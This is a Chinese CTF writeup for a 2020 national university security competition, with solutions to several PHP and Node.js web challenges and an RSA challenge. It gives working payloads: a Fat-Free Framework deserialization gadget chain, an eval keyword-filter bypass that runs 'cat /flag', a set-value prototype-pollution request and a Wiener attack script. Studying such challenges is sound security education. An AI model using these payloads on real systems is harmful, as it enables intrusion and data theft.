全國大學生信息安全競賽初賽2020writeup


2020年國賽初賽的writeup,包含以下題目:

Web的有easyphp、babyunserialize、easytrick、rceme

Crypto的有bd

Web

easyphp

<?php
    //題目環境:php:7.4.8-apache
    $pid = pcntl_fork();
    if ($pid == -1) {
        die('could not fork');
    }else if ($pid){
        $r=pcntl_wait($status);
        if(!pcntl_wifexited($status)){
            phpinfo();
        }
    }else{
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
        }
        posix_kill(posix_getpid(), SIGUSR1);
    } 

查看PHP手冊中關於pcntl_wait的介紹

wait函數刮(掛)起當前進程的執行直到一個子進程退出或接收到一個信號要求中斷當前進程或調用一個信號處理函數。

主進程掛起,等待子進程返回或調用一個信號處理函數。

我們在子進程調用信號處理函數時,主進程就會繼續執行。

Payload 1: /?a=call_user_func&b=pcntl_wait
Payload 2: /?a=call_user_func&b=pcntl_waitpid

顯示phpinfo頁面后看到環境變量中有flag

babyunserialize

SourceLeakHacker掃描,掃到根目錄下有www.zip備份文件,打開查看源碼。

用Sublime打開解壓后的文件夾,會看到左側欄中會顯示修改標記,與上一次git對比修改了哪些地方。

sublime對比

index.php可以看到是一個反序列化。

<?php

// Kickstart the framework
$f3=require('lib/base.php');

if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

$f3->route('GET /',
    function($f3) {
        echo "may be you need /?flag=";
    }
);

unserialize($_GET['flag']);

$f3->run();

全局搜索__wakeup__construct__destruct這三個魔術方法,看哪個類有可以構造出反序列化鏈。

./lib/cli/ws.php的第409行,Agent類的__destruct有動態調用,可以當作反序列化鏈的入口。

class Agent {
	...
	function __destruct() {
		if (isset($this->server->events['disconnect']) &&
			is_callable($func=$this->server->events['disconnect']))
			$func($this);
	}
    ...

再找一個類來賦值,看./lib/db/sql/mapper.php

class Mapper extends \DB\Cursor {
	...
	function __call($func,$args) {
		return call_user_func_array(
			(array_key_exists($func,$this->props)?
				$this->props[$func]:
				$this->$func),$args
		);
	}

這里函數名就可控了,最后Payload如下

<?php 
namespace DB{
    abstract class Cursor implements \IteratorAggregate {} 
} 
namespace DB\SQL{ 
    class Mapper extends \DB\Cursor{
        protected 
            $props=["quotekey"=>"call_user_func"], 
            $adhoc=["phpinfo"=>["expr"=>""]], 
            $db; 
        function offsetExists($offset){} 
        function offsetGet($offset){} 
        function offsetSet($offset, $value){} 
        function offsetUnset($offset){} 
        function getIterator(){} 
        function __construct($val){ 
            $this->db = $val; 
        } 
    } 
} 
namespace CLI{ 
    class Agent { 
        protected 
            $server=""; 
        public $events; 
        public function __construct(){ 
            $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")]; 
            $this->server=&$this; 
        } 
    }; 
    class WS{} 
} 
namespace { 
    echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent()))); 
}

這題和WMCTF 2020的webweb幾乎一樣。

easytrick

<?php
class trick{
    public $trick1;
    public $trick2;
    public function __destruct(){
        $this->trick1 = (string)$this->trick1;
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
            die("你太長了");
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");
        }
    }
}
highlight_file(__FILE__);
unserialize($_GET['trick']); 

反序列化出兩個變量trick1和trick2,通過三個比較即可拿flag。

要求strlen長度小於等於5,trick1經過string類型強制轉換,然后trick1和trick2松散比較和嚴格比較下都不等,但md5函數輸出相等。

剛開始想到的是(string)(array())和字符串'Array'相等,但在松散比較下,它們也是相等的,不符合條件。

還有0e開頭的md5值,但這里md5比較是嚴格比較,行不通。

仔細思考,md5函數接收的參數類型是string,會隱式類型轉換為string。而松散比較下,一般也是轉換為string進行比較,這里就很難產生一個等而另一個不等的情況。

翻看PHP手冊,里面有一段話

如果比較一個數字和字符串或者比較涉及到數字內容的字符串,則字符串會被轉換為數值並且比較按照數值來進行。

這里就看到如果是數字,松散比較的時候是轉換成數字進行比較

<?php
var_dump(0 == "a"); 		// 0 == 0 -> true
var_dump("1" == "01");  	// 1 == 1 -> true
var_dump("10" == "1e1"); 	// 10 == 10 -> true
var_dump(100 == "1e2"); 	// 100 == 100 -> true

手冊里還有很多有趣的例子,但我們要找的是松散比較下不等的。

浮點數精度問題,在轉換時會出現損失精度,而比較時卻沒有損失。

<?php
var_dump(strlen((string)0.1));								// 3
var_dump(strlen(0.100000000000001));						// 3
var_dump((string)0.1 !== 0.100000000000001);				// true
var_dump(md5((string)0.1) === md5(0.100000000000001));		// true
var_dump((string)0.1 != 0.100000000000001);					// true
Payload: ?trick=O:5:"trick":2:{s:6:"trick1";d:0.1;s:6:"trick2";d:0.100000000000001;}

看了其他人的writeup,還可以用NAN,還有INF

NAN

NAN

INF

rceme

<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
    $s=htmlspecialchars($s);
    $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    $s = str_ireplace($key,"*",$s);
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
    foreach ($danger as $val){
        if(strpos($s,$val) !==false){
            die('很抱歉,執行出錯,發現危險字符【'.$val.'】');
        }
    }
    if(preg_match("/^[a-z]$/i")){
        die('很抱歉,執行出錯,發現危險字符');
    }
    return $s;
}
function parserIfLabel( $content ) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if ( preg_match_all( $pattern, $content, $matches ) ) {
        $count = count( $matches[ 0 ] );
        for ( $i = 0; $i < $count; $i++ ) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[ 1 ][ $i ];
            $ifstr=danger_key($ifstr,1);
            if(strpos($ifstr,'=') !== false){
                $arr= splits($ifstr,'=');
                if($arr[0]=='' || $arr[1]==''){
                    die('很抱歉,模板中有錯誤的判斷,請修正【'.$ifstr.'】');
                }
                $ifstr = str_replace( '=', '==', $ifstr );
            }
            $ifstr = str_replace( '<>', '!=', $ifstr );
            $ifstr = str_replace( 'or', '||', $ifstr );
            $ifstr = str_replace( 'and', '&&', $ifstr );
            $ifstr = str_replace( 'mod', '%', $ifstr );
            $ifstr = str_replace( 'not', '!', $ifstr );
            if ( preg_match( '/\{|}/', $ifstr)) {
                die('很抱歉,模板中有錯誤的判斷,請修正'.$ifstr);
            }else{
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
            }

            if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                switch ( $flag ) {
                    case 'if':
                        if ( isset( $matches2[ 1 ] ) ) {
                            $out_html .= $matches2[ 1 ];
                        }
                        break;
                    case 'else':
                        if ( isset( $matches2[ 2 ] ) ) {
                            $out_html .= $matches2[ 2 ];
                        }
                        break;
                }
            } elseif ( $flag == 'if' ) {
                $out_html .= $matches[ 2 ][ $i ];
            }
            $pattern2 = '/\{if([0-9]):/';
            if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                $out_html = $this->parserIfLabel( $out_html );
            }
            $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
        }
    }
    return $content;
}
function splits( $s, $str=',' ) {
    if ( empty( $s ) ) return array( '' );
    if ( strpos( $s, $str ) !== false ) {
        return explode( $str, $s );
    } else {
        return array( $s );
    }
} 

將用戶輸入用正則表達式/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/提取,然后替換一些字符串,用eval執行。

那么我們按照這個正則表達式的規范,同時繞過替換過濾即可。

可以用PHP7的特性,字符串后面加括號即可當函數執行,如('phpinfo')()

而字符串可以用句號.連接起來,繞過關鍵字檢測。

Payload: /?a={if:var_dump(('ex'.'ec')('cat /flag'))}a{end if}

littlegame

下載源碼,是nodejs的,進入app/route/index.js查看主頁面邏輯

const setFn = require('set-value');
...
const Admin = {
    "password1":process.env.p1,
    "password2":process.env.p2,
    "password3":process.env.p3
}
...
router.post("/DeveloperControlPanel", function (req, res, next) {
    // not implement
    if (req.body.key === undefined || req.body.password === undefined){
        res.send("What's your problem?");
    }else {
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag);
        }else {
            res.send("Wrong password!Are you Admin?");
        }
    }

});
...
router.post("/Privilege", function (req, res, next) {
    // Why not ask witch for help?
    if(req.session.knight === undefined){
        res.redirect('/SpawnPoint');
    }else{
        if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
            res.send("What's your problem?");
        }else {
            let key = req.body.NewAttributeKey.toString();
            let value = req.body.NewAttributeValue.toString();
            setFn(req.session.knight, key, value);
            res.send("Let's have a check!");
        }
    }
});

主要就這三個API,考慮原型鏈污染,給Admin增加屬性並賦值,就可以通過密碼判斷。

看到第2行有個路由,定義了setFn函數,進入set-value看看。

在這個網站可以查看各種庫是否存在漏洞。

通過./app/node_modules/set-value/package.json可以看到版本是3.0.0

在./app/node_modules/set-value/index.js中,有merge,就可以造成原型鏈污染

function result(target, path, value, merge) {
  if (merge && isPlain(target[path]) && isPlain(value)) {
    target[path] = merge({}, target[path], value);
  } else {
    target[path] = value;
  }
}

如果我們傳入NewAttributeKeyNewAttributeValue,他最終會進行merge()操作,req的原型是Object,而Admin的原型也是Object,修改req的原型,即可實現原型鏈污染。

原型鏈污染詳解

通過給/Privilege頁面POST參數NewAttributeKeyNewAttributeValue

{"NewAttributeKey":"__proto__.password","NewAttributeValue":"123"}

注意這里的Content-Type得設置成application/json

然后再POST訪問/DeveloperControlPanel

{"key":"password","password":"123"}

即可獲取flag

Crypto

bd

原題給的RSA加密腳本

from secret import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)

p = getPrime(512)
q = getPrime(512)
N = p * q
phi = (p-1) * (q-1)
while True:
    d = getRandomNBitInteger(200)
    if GCD(d, phi) == 1:
        e = inverse(d, phi)
        break

c = pow(m, e, N)

print(c, e, N, sep='\n')

# 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
# 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
# 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289

可以發現e過大,則d就可能比較小,導致Wiener Attack維納攻擊,參考鏈接

解密腳本如下

from Crypto.PublicKey import RSA
import ContinuedFractions, Arithmetic
from Crypto.Util.number import *

def wiener_hack(e, n):
    # firstly git clone https://github.com/pablocelayes/rsa-wiener-attack.git !
    frac = ContinuedFractions.rational_to_contfrac(e, n)
    convergents = ContinuedFractions.convergents_from_contfrac(frac)
    for (k, d) in convergents:
        if k != 0 and (e * d - 1) % k == 0:
            phi = (e * d - 1) // k
            s = n - phi + 1
            discr = s * s - 4 * n
            if (discr >= 0):
                t = Arithmetic.is_perfect_square(discr)
                if t != -1 and (s + t) % 2 == 0:
                    print("Hacked!")
                    return d
    return False

c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289

d = wiener_hack(e,n)
print d
m = pow(c,d,n)
print long_to_bytes(m)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM